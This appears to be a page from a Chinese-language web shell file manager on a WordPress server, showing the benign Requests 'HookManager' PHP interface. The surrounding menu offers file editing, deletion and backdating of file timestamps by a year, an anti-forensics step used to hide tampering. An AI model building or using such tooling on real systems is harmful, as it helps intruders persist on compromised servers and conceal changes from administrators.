文件操作 - HookManager.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/00a9a8c414a2c84b69ccb6044f0fc34f/Web/wp-includes/Requests/src/HookManager.php
编辑文件内容
<?php /** * Event dispatcher * * @package Requests\EventDispatcher */ namespace WpOrg\Requests; /** * Event dispatcher * * @package Requests\EventDispatcher */ interface HookManager { /** * Register a callback for a hook * * @param string $hook Hook name * @param callable $callback Function/method to call on event * @param int $priority Priority number. <0 is executed earlier, >0 is executed later */ public function register($hook, $callback, $priority = 0); /** * Dispatch a message * * @param string $hook Hook name * @param array $parameters Parameters to pass to callbacks * @return boolean Successfulness */ public function dispatch($hook, $parameters = []); }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件